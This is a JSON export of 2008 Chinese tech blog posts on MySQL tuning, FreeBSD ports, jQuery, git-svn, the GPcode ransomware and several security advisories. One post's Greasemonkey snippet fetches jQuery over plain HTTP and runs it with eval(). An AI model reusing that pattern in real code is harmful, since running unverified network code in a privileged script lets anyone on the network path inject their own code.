    "body": "公告在這邊：<a href=\"http://google-code-updates.blogspot.com/2008/06/ssl-certificate-renewal-for-project.html\" rel=\"tag\">SSL Certificate Renewal for Project Hosting on Google Code</a>。\r\n\r\n主要是 svn 會發現 ssl certificate 改變而跳出警告，所以特地公告出來。\r\n\r\n另外，我發現 <a href=\"http://git.or.cz/\" rel=\"tag\">git</a> 對 <a href=\"http://subversion.tigris.org/\" rel=\"tag\">Subversion</a> Repository 還是有不少問題，像是 branch 出來後修改，再 merge 回 master 後，再 git-svn dcommit 上去後可能會有問題。而 git-svn 的 manpage 裡就直接建議在開發時儘量保持 linear... XD\r\n\r\n就是要 branch 才好用啊啊啊啊啊...\r\n\r\n所以我有一些比較小的 project 又改回 svn client 了...",
    "title": "Google Code 更新 SSL Certificate"
  },
  {
    "id": "1517",
    "body": "有一篇文章一直發不出去，寫一篇新的空文章測試看看會不會動 o_O",
    "title": "測試新文章..."
  },
  {
    "id": "1518",
    "body": "<a href=\"http://blog.pixnet.net/far\" rel=\"tag\">far</a> 買了一顆 Mtron SSD 硬碟 (Mobi 1000、2.5 PATA ZIF 介面)，然後 <a href=\"http://blog.pixnet.net/ronnywang\" rel=\"tag\">ronnywang</a> 把他包成這樣：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/2567110947/\" rel=\"tag\"><img src=\"http://farm4.static.flickr.com/3071/2567110947_4a59d13a96.jpg\" alt=\"\" /></a>\r\n\r\nronnywang 幹的好！",
    "title": "Mtron SSD 硬碟..."
  },
  {
    "id": "1519",
    "body": "一隻新的惡意程式利用 RSA 1024 bits 把文件加密後留下勒索 e-mail 位置要求付「贖金」。\r\n\r\n這不是什麼新的新聞 (以前就有過用 660 bits 加密的事情)，這次的重點在於 <a href=\"http://www.kaspersky.com/\" rel=\"tag\">Kaspersky</a> 尋求分散式運算，直接破這次加密所使用的 RSA 1024 bits：<a href=\"http://www.kaspersky.com/news?id=207575651\" rel=\"tag\">Kaspersky Lab announces the launch of Stop Gpcode, an international initiative against the blackmailer virus</a>。\r\n\r\n目前對 RSA key 最好的分解演算法是 <a href=\"http://en.wikipedia.org/wiki/General_number_field_sieve\" rel=\"tag\">GNFS</a> (因為函式庫在產生金鑰時會避開 <a href=\"http://en.wikipedia.org/wiki/Special_number_field_sieve\" rel=\"tag\">SNFS</a> 可以分解的數字)，但目前 GNFS 最好的紀錄是 2005 年解開的 <a href=\"http://en.wikipedia.org/wiki/RSA-200#RSA-200\" rel=\"tag\">RSA-200</a>，金鑰的長度約 663bits，使用的 CPU time 約單台 <a href=\"http://zh.wikipedia.org/wiki/Opteron\" rel=\"tag\">Opteron</a> 2.2Ghz 七十五年的時間。(關於紀錄的部份，可以參考 <a href=\"http://en.wikipedia.org/wiki/Integer_factorization_records\" rel=\"tag\">Integer factorization records</a> 這篇)\r\n\r\n如果這次打算用 GNFS，那麼即使全世界的電腦大規模的參與，也不太可能在一兩年內解出來。\r\n\r\n另外一個 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 也有提到的問題 (<a href=\"http://it.slashdot.org/article.pl?sid=08/06/11/1358246\" rel=\"tag\">Using Distributed Computing To Thwart Ransomware</a>)，如果今天寫這隻惡意程式的人不是為了錢，而故意拿 SSL Root Certificated Key 來加密，今天還是要試著去破嗎？\r\n\r\n把被加密過的檔案當作被刪除損毀處理，也許是比較好的方法...。",
    "title": "GPcode"
  },
  {
    "id": "1520",
    "body": "<a href=\"http://www.wretch.cc/\" rel=\"tag\">無名小站</a>的 <a href=\"http://blog.gslin.org/archives/2007/09/15/1313/\" rel=\"tag\">Wretch Album Expander</a> 一直跑的很好，但是我們家的 <a href=\"http://blog.gslin.org/archives/2008/04/01/1463/\" rel=\"tag\">PIXNET Album Expander</a> 在使用者自訂 CSS 時對 height/width 標 <code>!important</code> 就會爛掉...\r\n\r\n今天花了時間去找，終於找到解法了：用 style.setProperty 蓋過去。在 <a href=\"http://userscripts.org/scripts/review/24589\" rel=\"tag\">Source for \"PIXNET Album Expander\"</a> 這邊的程式碼裡面這樣寫：\r\n<blockquote><code>this.style.setProperty('height', 'auto', 'important');\r\nthis.style.setProperty('width', 'auto', 'important');</code></blockquote>\r\n改好的版本已經放到 <a href=\"http://userscripts.org/\" rel=\"tag\">Userscripts</a> 上了：<a href=\"http://userscripts.org/scripts/show/24589\" rel=\"tag\">http://userscripts.org/scripts/show/24589</a>，效果可以參考 <a href=\"http://www.pixnet.net/album/calcio/13895926\" rel=\"tag\">GINOLA's Football Pics</a> 這本相本。",
    "title": "Javascript 對於 !important 的處理"
  },
  {
    "id": "1521",
    "body": "<a href=\"http://jeremy.zawodny.com/blog/\" rel=\"tag\">Jeremy Zawodny</a>，<a href=\"http://www.yahoo.com/\" rel=\"tag\">Yahoo!</a> 最知名的 blogger 要離開 Yahoo! 了：<a href=\"http://jeremy.zawodny.com/blog/archives/010336.html\" rel=\"tag\">Leaving Yahoo!</a>。\r\n\r\nRef：<a href=\"http://blog.leeym.com/\" rel=\"tag\">Leeym</a> 寫的 <a href=\"http://blog.leeym.com/2007/10/blog-post_7243.html\" rel=\"tag\">人員流動</a>。\r\n\r\n<strong>Update</strong>：Jeremy Zawodny 加入 <a href=\"http://www.craigslist.org/\" rel=\"tag\">cragigslist</a>：<a href=\"http://jeremy.zawodny.com/blog/archives/010361.html\" rel=\"tag\">I'm Joining Craigslist in July</a>。",
    "title": "Jeremy Zawodny 將離開 Yahoo!"
  },
  {
    "id": "1522",
    "body": "「<a href=\"http://it.slashdot.org/article.pl?sid=08/06/12/1436236\" rel=\"tag\">China Says It Lacks Skills To Hack US Systems</a>」\r\n\r\n我看到 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 這個標題時，第一個想到的翻譯...",
    "title": "「你們對我有很深的誤解」"
  },
  {
    "id": "1523",
    "body": "<a href=\"http://ffmpeg.mplayerhq.hu/\" rel=\"tag\">FFmpeg</a> 這套影音轉檔程式跟幾年前的 <a href=\"http://www.debian.org/\" rel=\"tag\">Debian</a> 一樣，有一個 stable 版，但是大家都去抓 Subversion Repository XD (因為 stable 版實在太舊了...)\r\n\r\n<a href=\"http://www.freebsd.org/ports/\" rel=\"tag\">FreeBSD ports</a> 裡有一個 2007/10/04 的版本，不過這個版本從以前就寫的很亂，後面維護的人改起來一直很辛苦... 所以想要客製化的人通常會選擇重作 XD 所以我當初弄了一個版本給 <a href=\"http://www.pixnet.net/\" rel=\"tag\">PIXNET</a> 用，也差不多是 2007/10 包的，在 blog 上也有提過：<a href=\"http://blog.gslin.org/archives/2007/10/15/1333/\" rel=\"tag\">ffmpeg (全包在一起)</a>。\r\n\r\n由於這半年多 FFmpeg 改了不少東西，所以差不多是重包一個新版看看有沒有把之前遇到的問題解決：<a href=\"http://files.gslin.org/Software/ffmpeg-2008.06.14.13767.shar\" rel=\"tag\">ffmpeg-2008.06.14.13767.shar</a>，這個版本是 Subversion Repository 上抓下來的，checkout 的時間點是 2008/06/14 r13767。\r\n\r\n理論上在 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 上把 shar 檔抓下來後丟到 <code>/tmp</code> 下跑 <code>sh ffmpeg-2008.06.14.13767.shar</code>，會產生一個 <code>ffmpeg</code> 的目錄，到裡面 make clean install clean 就可以了。\r\n\r\n因為新的 FFmpeg 有支援 <a href=\"http://en.wikipedia.org/wiki/Dirac_(codec)\" rel=\"tag\">Dirac</a>，所以我送了 <a href=\"http://www.diracvideo.org/\" rel=\"tag\">Schrodinger</a> 這個 port：<a href=\"http://www.freebsd.org/cgi/query-pr.cgi?pr=124575\" rel=\"tag\">ports/124575: [NEW PORT] multimedia/schroedinger: High-speed Dirac codec</a>。<del>如果這幾天要裝 FFmpeg 的人請先手動安裝這個 port...</del> (<a href=\"http://blog.lwhsu.org/\" rel=\"tag\">lwhsu</a> 把 Schrodinger 送進 ports，不需要自己安裝了)",
    "title": "FFmpeg 的 FreeBSD ports"
  },
  {
    "id": "1524",
    "body": "接下來的幾個禮拜應該都是跟 <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a>、<a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a>、<a href=\"http://jquery.com/\" rel=\"tag\">jQuery</a> 戰鬥了...\r\n\r\nPS：說到 MySQL，最近看到的 <a href=\"http://dev.mysql.com/workbench/\" rel=\"tag\">MySQL Workbench</a> Community 版還蠻好用的，有興趣的人可以下去玩看看 :p",
    "title": "進入修羅場狀態..."
  },
  {
    "id": "1526",
    "body": "兩件不小的事情：\r\n<ul>\r\n\t<li><a href=\"http://subversion.tigris.org/\" rel=\"tag\">Subversion</a> 1.5.0 終於正式釋出：<a href=\"http://blogs.open.collab.net/svn/2008/06/subversion-150.html\" rel=\"tag\">Subversion 1.5.0 Released!</a></li>\r\n\t<li><a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 的版本控制軟體從 <a href=\"http://www.bitkeeper.com/\" rel=\"tag\">BitKeeper</a> 換到 <a href=\"http://bazaar-vcs.org/\" rel=\"tag\">Bazaar</a>：Version Control: Thanks, BitKeeper — Welcome, Bazaar</li>\r\n</ul>\r\n關於 MySQL 的部份，有人有寫 step by step 形式的文章，教你取得 MySQL source：<a href=\"http://datacharmer.blogspot.com/2008/06/from-bazaar-to-sandbox-in-5-moves.html\" rel=\"tag\">From Bazaar to Sandbox in 5 moves</a>。",
    "title": "版本控制..."
  },
  {
    "id": "1527",
    "body": "在 <a href=\"http://simonwillison.net/2008/Jun/21/ruby/\" rel=\"tag\">Simon Willison 的 blog</a> 上看到 <a href=\"http://www.ruby-lang.org/\" rel=\"tag\">Ruby</a> 發出安全性問題警告：<a href=\"http://www.ruby-lang.org/en/news/2008/06/20/arbitrary-code-execution-vulnerabilities/\" rel=\"tag\">Arbitrary code execution vulnerabilities</a>。\r\n\r\npatch 的內容可以在 <a href=\"http://www.matasano.com/log/1070/updates-on-drew-yaos-terrible-ruby-vulnerabilities/\" rel=\"tag\">Updates on Drew Yao’s Terrible Ruby Vulnerabilities</a> 這篇看到，已知是 DoS 型態，但可能可以遠端注入程式碼執行，看起來就很刺激... orz",
    "title": "Ruby 安全性問題警告"
  },
  {
    "id": "1528",
    "body": "要推翻專利 (使得專利無效) 可以用 <a href=\"http://en.wikipedia.org/wiki/Prior_art\" rel=\"tag\">Prior art</a> (<a href=\"http://zh.wikipedia.org/wiki/%E7%8E%B0%E6%9C%89%E6%8A%80%E6%9C%AF\" rel=\"tag\">現有技術</a>) 證明在該項專利申請前，專利的內容就已經為人所知。\r\n\r\n<a href=\"http://www.trendmicro.com/\" rel=\"tag\">趨勢科技</a> 在 1995/09/26 申請了一項專利 (<a href=\"http://www.freepatentsonline.com/5623600.html\" rel=\"tag\">Patent 5623600</a>)，描述在 SMTP Gateway 以及 FTP Gateway 上掃描病毒。在今年年初的時候控告 <a href=\"http://www.barracudanetworks.com/\" rel=\"tag\">Barracuda</a> 在產品裡使用的 <a href=\"http://www.clamav.net/\" rel=\"tag\">ClamAV</a> 侵犯了該項專利。\r\n\r\n由於 <a href=\"http://spamassassin.apache.org/\" rel=\"tag\">SpamAssassin</a> 與 <a href=\"http://www.ijs.si/software/amavisd/\" rel=\"tag\">amavisd-new</a> 都使用了類似的技術，趨勢控告 Barracuda 這件事情在國外的開源社群中有很大的反彈聲浪，畢竟沒人能保證下一個被告的不是 SpamAssassin/amavisd-new。\r\n\r\n剛剛在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到有個人說他以前在的公司 (在瑞典) 早在 1995 一月就已經推出過類似的產品，有大約上萬的客戶安裝過這向產品，並且打算以此提出 Prior art 推翻 Patent 5623600：<a href=\"http://yro.slashdot.org/article.pl?sid=08/06/23/235226\" rel=\"tag\">Prior Art In Barracuda-Trend Micro Lawsuit</a>。\r\n\r\n令人振奮的好消息啊...",
    "title": "關於趨勢科技的 Prior Art"
  },
  {
    "id": "1529",
    "body": "<a href=\"http://www.nctu.edu.tw/\" rel=\"tag\">交大</a>北區凌晨 00:00 ~ 06:00 斷電，結果斷電後國內是通的，但國際電路卻不通... (印象中這些 router 都是放在一起的，不知道哪裡出問題) 看了一些 server，發現有些 server 有開起來，但有很多 server 沒有開起來，DNS 只有 140.113.6.2 起來，另外兩台 (140.113.1.1 與 140.113.250.135) 都沒起來。另外，Group.NCTU.edu.tw 沒開起來，也許等早上再看看情況吧。\r\n\r\n印象中很久沒斷這麼久... (尤其是 DNS，通常不會擺爛到早上再處理)",
    "title": "交大斷網"
  },
  {
    "id": "1530",
    "body": "剛剛連不上的畫面：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/2620937523/\" rel=\"tag\"><img src=\"http://farm4.static.flickr.com/3277/2620937523_bbd71d3957.jpg\" alt=\"\" /></a>\r\n\r\n下面是以前的水管工 :p\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/75425986/\" rel=\"tag\"><img src=\"http://farm1.static.flickr.com/6/75425986_e4de3d0d81.jpg\" alt=\"\" /></a>\r\n\r\n<strong>Update</strong>：恢復後一堆未讀...",
    "title": "Bloglines 水管工不見了..."
  },
  {
    "id": "1531",
    "body": "Using <a href=\"http://jquery.com/\" rel=\"tag\">jQuery</a> in <a href=\"https://addons.mozilla.org/en-US/firefox/addon/748\" rel=\"tag\">Greasemonkey</a> (with <a href=\"http://code.google.com/apis/ajaxlibs/\" rel=\"tag\">Google AJAX Libraries</a>)：\r\n<blockquote><pre>(function(){\r\n    function myjob()\r\n    {\r\n        // your code...\r\n    }\r\n\r\n    GM_xmlhttpRequest({\r\n        method: 'GET',\r\n        url: 'http://ajax.googleapis.com/ajax/libs/jquery/1.2.6/jquery.min.js',\r\n        onload: function(r){ eval(r.responseText); myjob(); }\r\n        });\r\n})();</pre></blockquote>",
    "title": "Using jQuery in Greasemonkey"
  },
  {
    "id": "1532",
    "body": "昨天晚上幫<a href=\"http://blog.xdite.net/\" rel=\"tag\">人</a>「測試」<a href=\"http://veryxd.net/\" rel=\"tag\">網站</a>，發現速度卡在 <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 的 CPU bound，先用 <a href=\"http://www.hpl.hp.com/research/linux/httperf/\" rel=\"tag\">httperf</a> 丟在背景跑，再用 <a href=\"http://jeremy.zawodny.com/mysql/mytop/\" rel=\"tag\">mytop</a> 抓幾個比較明顯的 slow query，補了幾刀 INDEX 後，速度快了不少，不過還是不太滿意。\r\n\r\n印象中 MySQL 除了可以紀錄 slow query 外，還可以紀錄沒用到 INDEX 的 SQL query，花了不少時間才找到。這些指令是可以線上改，不需要重開 (如果你堅持要改設定檔重開也 ok)，不過請不要在 production 的機器上開，以免 SQL query 寫的很爛，產生大量的 log：\r\n<blockquote><code>mysql&gt; SET GLOBAL log_queries_not_using_indexes = 1;\r\nQuery OK, 0 rows affected (0.00 sec)\r\nmysql&gt; SET GLOBAL slow_query_log = 1;\r\nQuery OK, 0 rows affected (0.00 sec)</code></blockquote>\r\n參考：<a href=\"http://dev.mysql.com/doc/refman/5.1/en/slow-query-log.html\" rel=\"tag\">The Slow Query Log</a>。\r\n\r\nPS：這只是告訴你問題在哪裡，而非解決的方法。要知道為什麼會慢，你需要讀不少資料，像是 <a href=\"http://oreilly.com/catalog/9780596101718/\" rel=\"tag\">High Performance MySQL</a> 這類的書籍，以及網路上 MySQL 資料庫長輩們的討論。\r\n\r\n<strong>Update</strong>：翻到 <a href=\"http://arjen-lentz.livejournal.com/122399.html\" rel=\"tag\">Arjen's Journal - Finding useless indexes</a> 這篇，可以檢查過度 index 時造成效能降低的問題 :p",
    "title": "MySQL 調整"
  },
  {
    "id": "1533",
    "body": "在 <a href=\"http://monty-says.blogspot.com/2008/06/bringing-up-baby.html\" rel=\"tag\">Bringing up the baby</a> 看到 <a href=\"http://forge.mysql.com/wiki/Maria_Preview\" rel=\"tag\">MySQL Maria</a> 把 feature 都實做出來，開始要針對 bug 修正的階段了。\r\n\r\nMaria 是 <a href=\"http://www.mysql.com/\" rel=\"tag\">MySQL</a> 以 <a href=\"http://en.wikipedia.org/wiki/MyISAM\" rel=\"tag\">MyISAM</a> 為基礎所改良的的 storage engine。對於 Web 服務的使用者來說，與 MyISAM 最主要的差異在於 crash-safe，以及簡單的 transaction。\r\n\r\n等暑假的時候再來玩看看...",
    "title": "MySQL Maria"
  },
  {
    "id": "1534",
    "body": "今天去買了「養樂多可樂」來喝 XD 是還蠻好喝的啦，但是我不會再買第二次 XD\r\n\r\nPS：照片晚點再找上來...\r\n\r\n<strong>Update</strong>：照片請參考「<a href=\"http://blog.pixnet.net/repeat/post/19357742\" rel=\"tag\">三個老闆的飲料</a>」這篇，我跟 <a href=\"http://blog.pixnet.net/far\" rel=\"tag\">far</a> 都喝養樂多可樂 (其中右邊那杯故意寫「布丁可樂」，其實是一樣的東西 XD)。",
    "title": "養樂多可樂 (多多可樂)"
  },
  {
    "id": "1535",
    "body": "在 <a href=\"http://blog.xdite.net/\" rel=\"tag\">XDite</a> 這篇 <a href=\"http://blog.xdite.net/?p=598\" rel=\"tag\">[Rails] The Better Way To Do Random</a> 所提到 <a href=\"http://jan.kneschke.de/\" rel=\"tag\">Jan Kneschke</a> 的「<a href=\"http://jan.kneschke.de/projects/mysql/order-by-rand\" rel=\"tag\">ORDER BY RAND()</a>」這篇文章裡為了找到 <code>ORDER BY RAND()</code> 的替代方案，花了不少功夫解釋。\r\n\r\n(PS：我跟 <a href=\"http://blog.xdite.net/\" rel=\"tag\">XDite</a> 同屬 <a href=\"http://www.pixnet.net/\" rel=\"tag\">PIXNET</a> 的一員，其中本篇文章所提到的 <a href=\"http://veryxd.net/\" rel=\"tag\">VeryXD</a> 主機目前也放在 PIXNET 的機房裡)\r\n\r\n最原始的想法是：\r\n<blockquote><code>SELECT MAX(id) FROM table;\r\n### 在 application 取一個 1 到 id 中間的值\r\nSELECT * FROM table WHERE id = ...;</code></blockquote>\r\n但這篇文章要探討的是如何在 <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 裡全部做完，所以重點放在如何在 MySQL 裡取得 randid。\r\n\r\n首先是透過 <code>RAND()</code> 幫忙：\r\n<blockquote><code><strong>SELECT RAND() * MAX(id) FROM random;</strong></code></blockquote>\r\n然後發現有小數點，所以用 <code>CEIL()</code> 變成：\r\n<blockquote><code>SELECT <strong>CEIL(</strong>RAND() * MAX(id)<strong>)</strong> FROM random;</code></blockquote>\r\n但這個 SQL query 效率不太好：如果有 1M rows，就會跑了 1M 次。所以利用 subquery 改寫成：\r\n<blockquote><code>SELECT CEIL(RAND() * <strong>(SELECT MAX(id) FROM random)</strong>);</code></blockquote>\r\n用 <code>EXPLAIN</code> 檢查看起來不錯，所以包成 subquery 拉出隨機選出的 row：\r\n<blockquote><code><strong>SELECT name FROM random WHERE id = (</strong>SELECT CEIL(RAND() * (SELECT MAX(id) FROM random))<strong>)</strong>;</code></blockquote>\r\n結果發現速度不佳，用 <code>EXPLAIN</code> 檢查發現是因為 subquery optimization 被取消。所以改用其他的方法，像是利用 temporily table 與 <code>JOIN</code>：\r\n<blockquote><code>SELECT name FROM random <strong>JOIN</strong> (SELECT CEIL(RAND() * (SELECT MAX(id) FROM random)) <strong>AS id</strong>) <strong>AS r2 USING(id)</strong>;</code></blockquote>\r\n速度沒什麼問題，用 <code>EXPLAIN</code> 檢查看起來也都 ok 了，所以我們要處理 id 不連續的情況，也就是有「洞」的狀態，所以取比這個 randid 大的第一個 row：\r\n<blockquote><code>SELECT name FROM random <strong>AS r1</strong> JOIN (SELECT (RAND() * (SELECT MAX(id) FROM random)) AS id) AS r2 <strong>WHERE r1.id &gt;= r2.id ORDER BY r1.id ASC LIMIT 1</strong>;</code></blockquote>\r\n至於更後面為了要做到在 non-uniform distribution 下的 <code>ORDER BY RAND()</code> 效果所花的功夫太大 (像是透過 trigger 產生某個 uniform 欄位，然後就可以用那個欄位用上面的方法處理)，一般人應該用不到。需要的人就麻煩自己去看了 :p",
    "title": "MySQL 的 ORDER BY RAND() 的替代方案"
  },
  {
    "id": "1537",
    "body": "這幾天跟 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 有關的事情不少：\r\n<ul>\r\n\t<li><a href=\"http://www.mozilla.com/\" rel=\"tag\">Mozilla</a> 宣佈 Firefox 3.0 的下載次數已經列入<a href=\"http://zh.wikipedia.org/wiki/%E5%90%89%E5%B0%BC%E6%96%AF%E4%B8%96%E7%95%8C%E7%BA%AA%E5%BD%95%E5%A4%A7%E5%85%A8\" rel=\"tag\">金氏世界紀錄</a>了，次數是 8002530 人次：<a href=\"http://blog.mozilla.com/blog/2008/07/02/were-official/\" rel=\"tag\">We’re official!</a>。</li>\r\n\t<li>Firefox 3.0.1 已經在測試，而 Firefox 2.0.0.15 已經釋出，應該都是為了安全性問題而修正：<a href=\"http://blog.mozilla.com/blog/2008/07/02/firefox-20015-security-and-stability-update-now-available-for-download/\" rel=\"tag\">Firefox 2.0.0.15 security and stability update now available for download</a>。</li>\r\n\t<li>Javascript 的問題。假設 <code>obj.fn</code> 裡有一個 foo 變數，在 Firefox 上可以使用 <code>var a; eval('a = foo', obj.fn)</code> 把 <code>foo</code> 變數抓到 <code>a</code> 裡面，所以你如果有使用這種方法來放與安全性有關的東西，就得重新檢查一次程式碼：<a href=\"http://peter.michaux.ca/article/8069\" rel=\"tag\">Module Pattern Provides No Privacy...at least not in JavaScript(TM)</a>。在一陣討論後，這個功能打算在 Firefox 3.1 拿掉：<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=442333\" rel=\"tag\">Remove eval's optional second argument</a>。</li>\r\n</ul>",
    "title": "Firefox 的兩三事..."
  },
  {
    "id": "1538",
    "body": "這幾天的 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 怪怪的，像是自己會登出 (看起來後面某台伺服器的 session 有問題)，有時候會出現 500 Internal Server Error，以及偶而會出現 200 條未讀 (但 refresh 後就好了)。\r\n\r\n趁著這次不穩定再次跳槽到 <a href=\"http://www.google.com/reader\" rel=\"tag\">Google Reader</a>，發現又跟印象中的不一樣了，希望這次能用的比較順手...",
    "title": "再次換到 Google Reader..."
  },
  {
    "id": "1539",
    "body": "<a href=\"http://ui.jquery.com/\" rel=\"tag\">jQuery UI</a> (我用的是 <a href=\"http://jquery.com/\" rel=\"tag\">jQuery</a> 1.2.6 + jQuery UI 1.5.1) 裡有一個 <a href=\"http://docs.jquery.com/UI/Sortables\" rel=\"tag\">Sortables</a>，實際用了後發現本來上面的 click 事件會失效，這點在國外也有討論到：<a href=\"http://groups.google.com/group/jquery-ui/browse_thread/thread/117a1e9c002eb6aa\" rel=\"tag\">JQuery sortable & click event are mutually exclusive</a>。\r\n\r\n看起來是因為 jQuery UI Sortables 裡對 click 處理的方式會造成現有的 click event 失效，似乎沒有辦法直接從 source 部份解決，所以有人提出 workaround。\r\n\r\nworkaround 是多包一個 span，然後設定 handle 指到這個 span 上，告訴 jQuery UI Sortables 有哪些可以被拖拉，這樣 click 事件就會分開處理，於是就可以動了...\r\n\r\n舉個例子來說，本來是：\r\n<blockquote><code>$('.sortables').sortable({items: '.items'});</code></blockquote>\r\n現在變成：\r\n<blockquote><code>$('.sortables').sortable({handle: '.items &gt; span', items: '.items'});</code></blockquote>\r\n不是很讓人滿意的作法，但可以解決問題。",
    "title": "jQuery UI 的 Sortables 與 Click 事件犯衝的解法..."
  },
  {
    "id": "1540",
    "body": "幾天前 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上報導了 DNS 實做上的問題，影響的範圍非常大：<a href=\"http://it.slashdot.org/article.pl?sid=08/07/08/195225\" rel=\"tag\">Massive, Coordinated Patch To the DNS Released</a>。\r\n\r\n各家 DNS software 都放出 patch 了，手上有 DNS server 的請儘速更新 :p",
    "title": "DNS 伺服器安全性更新"
  },
  {
    "id": "1541",
    "body": "命名是最近寫 code 最常遇到的問題之一 XD\r\n\r\n<a href=\"http://blog.pixnet.net/ronnywang\" rel=\"tag\">跑步王</a>丟出了「<a href=\"http://blog.pixnet.net/ronnywang/post/19938328\" rel=\"tag\">軟體業的重要職缺 命理大師!</a>」這篇，可以去看看 XD",
    "title": "命理大師"
  },
  {
    "id": "1542",
    "body": "<a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 5.1.26-rc 放出來了：<a href=\"http://lists.mysql.com/announce/537\" rel=\"tag\">MySQL 5.1.26-rc has been released</a>。這個版本會是 5.1 最後一個 RC (Release Candicate)，下一個就會是 Production Ready (GA) 的版本了。\r\n\r\n不過 Paul McCullagh (<a href=\"http://www.primebase.org/\" rel=\"tag\">PBXT</a> 的開發者) 寫了一篇「<a href=\"http://pbxt.blogspot.com/2008/07/mutex-contention-and-other-bottlenecks.html\" rel=\"tag\">Mutex contention and other bottlenecks in MySQL</a>」，裡面發現他已經把 PBXT 改到本身已經不是瓶頸，所以反過來開始看 MySQL 的問題...\r\n\r\n裡面有很多很有趣的惡搞 (像是他覺得，如果在他的環境裡如果拿掉某些 POSIX mutex lock 不會遇到問題，他就先拔掉 lock 然後看效能可以提昇多少，如果不能拿掉，他就用自己改寫的 spinlock 或是其他方式替代)，除此之外，文章裡還有一些數據可以看，可以看出他一步一步改善所走過的路，以及還有哪些地方值得改善。\r\n\r\n最後改出來的成果相當輝煌，改到有 60% 的時間會因為在等網路另一邊的 query 進來。\r\n\r\n在 comment 有人有提到可以用 <code>--with-fast-mutexes</code>，會把 POSIX mutex lock 換成 spinlock，不知道效果怎麼樣... (我發現 <a href=\"http://www.freebsd.org/ports/\" rel=\"tag\">FreeBSD Ports</a> 裡的版本沒有支援這個選項，我送了個 PR，用 Ports 的人可以更方便的設定這個選項：<a href=\"http://www.freebsd.org/cgi/query-pr.cgi?pr=125616\" rel=\"tag\">ports/125616: Add --with-fast-mutexes to databases/mysql51-server</a>)",
    "title": "MySQL 5.1.26"
  },
  {
    "id": "1544",
    "body": "<a href=\"http://www.google.com/\">Google</a> 拿美國總統大選的影片，透過語音辨識轉成文字後讓大家搜尋：<a href=\"http://blogoscoped.com/archive/2008-07-15-n73.html\">Google Lets You Search for Text in Some Videos</a>。\r\n\r\n如同 <a href=\"http://blogoscoped.com/\">Philipp Lenssen</a> 所說的，如果 Google 把這個技術推廣到所有的影片上，就有很多可行性可以做，像是與 <a href=\"http://www.google.com/adsense/\">Google AdSense</a> 的配合、與 Google Search Quality 的配合。\r\n\r\n比起直接對影像處理，對聲音處理似乎是條可以走的路... (就目前的語音辨識)",
    "title": "Google Video Search 的發展"
  },
  {
    "id": "1550",
    "body": "「<a href=\"http://www.freebsd.org/cgi/query-pr.cgi?pr=125616\">ports/125616: Add --with-fast-mutexes to databases/mysql51-server</a>」這個 PR 中所提到的 <code>--with-fast-mutex</code> 在 ale@ commit 後，他也順便問是否有變快 (或是變慢)。我回了他一封信，MyISAM 在十個 clients 的模擬測試下有快一些，大約 6%。\r\n\r\n不過這是 <a href=\"http://vegan.net/tony/supersmack/\">Super Smack</a> 測試的結果，如果沒有其他比較好的工具，拿來當參考還可以，把結果當作事實就有點偏頗了。我打算複製一份 real data 到其他空機器上，再測試一次看看。\r\n\r\n下面這是 Super Smack 測試的結果，最後面的單位是 qps，愈高愈好。\r\n<blockquote><pre>(without fast mutexes)\r\n$ repeat 10 super-smack -D/tmp \\\r\n  /usr/local/share/super-smack/select-key.smack \\\r\n  10 2000 | grep ...\r\nselect_index    40000   0       0       56503.40\r\nselect_index    40000   0       0       55638.24\r\nselect_index    40000   0       0       55750.29\r\nselect_index    40000   0       0       56229.37\r\nselect_index    40000   0       0       55770.81\r\nselect_index    40000   0       0       56083.44\r\nselect_index    40000   0       0       56411.05\r\nselect_index    40000   1       0       55156.36\r\nselect_index    40000   0       0       56268.21\r\nselect_index    40000   0       0       55059.18\r\n\r\n(with fast mutexes)\r\n$ repeat 10 super-smack -D/tmp \\\r\n  /usr/local/share/super-smack/select-key.smack \\\r\n  10 2000 | grep ...\r\nselect_index    40000   0       0       59652.25\r\nselect_index    40000   0       0       58040.66\r\nselect_index    40000   0       0       57937.60\r\nselect_index    40000   0       0       58511.95\r\nselect_index    40000   0       0       57319.65\r\nselect_index    40000   0       0       58308.02\r\nselect_index    40000   0       0       58514.35\r\nselect_index    40000   0       0       58493.64\r\nselect_index    40000   0       0       57937.01\r\nselect_index    40000   0       0       59348.24\r\n\r\nThe first one is 55887 qps (avg), the second one is 58406.3 qps.</pre></blockquote>",
    "title": "關於 MySQL 的 --with-fast-mutexes"
  },
  {
    "id": "1557",
    "body": "剛剛從「<a href=\"http://simonwillison.net/2008/Jul/19/closures/\">php: rfc: closures</a>」這篇看到 <a href=\"http://www.php.net/\">PHP</a> 5.3 將會有 Lambda Function 與 Closure 可以用：<a href=\"http://wiki.php.net/rfc/closures\">Request for Comments: Lambda functions and closures</a>。\r\n\r\n寫習慣 <a href=\"http://www.perl.org/\">Perl</a> 的 <code>sort {...} keys %hash;</code> 這類 code 後，在 PHP 裡面一直覺得很彆腳，有 Lambda Function 與 Closure 後可以解決不少問題...",
    "title": "PHP 5.3 將會有 Lambda Function 與 Closure"
  },
  {
    "id": "1559",
    "body": "可能是 bug...\r\n\r\n<img src=\"http://img181.imageshack.us/img181/5425/firefoxdownloadbugge8.png\" alt=\"\" />",
    "title": "Firefox 下載時的資訊..."
  },
  {
    "id": "1561",
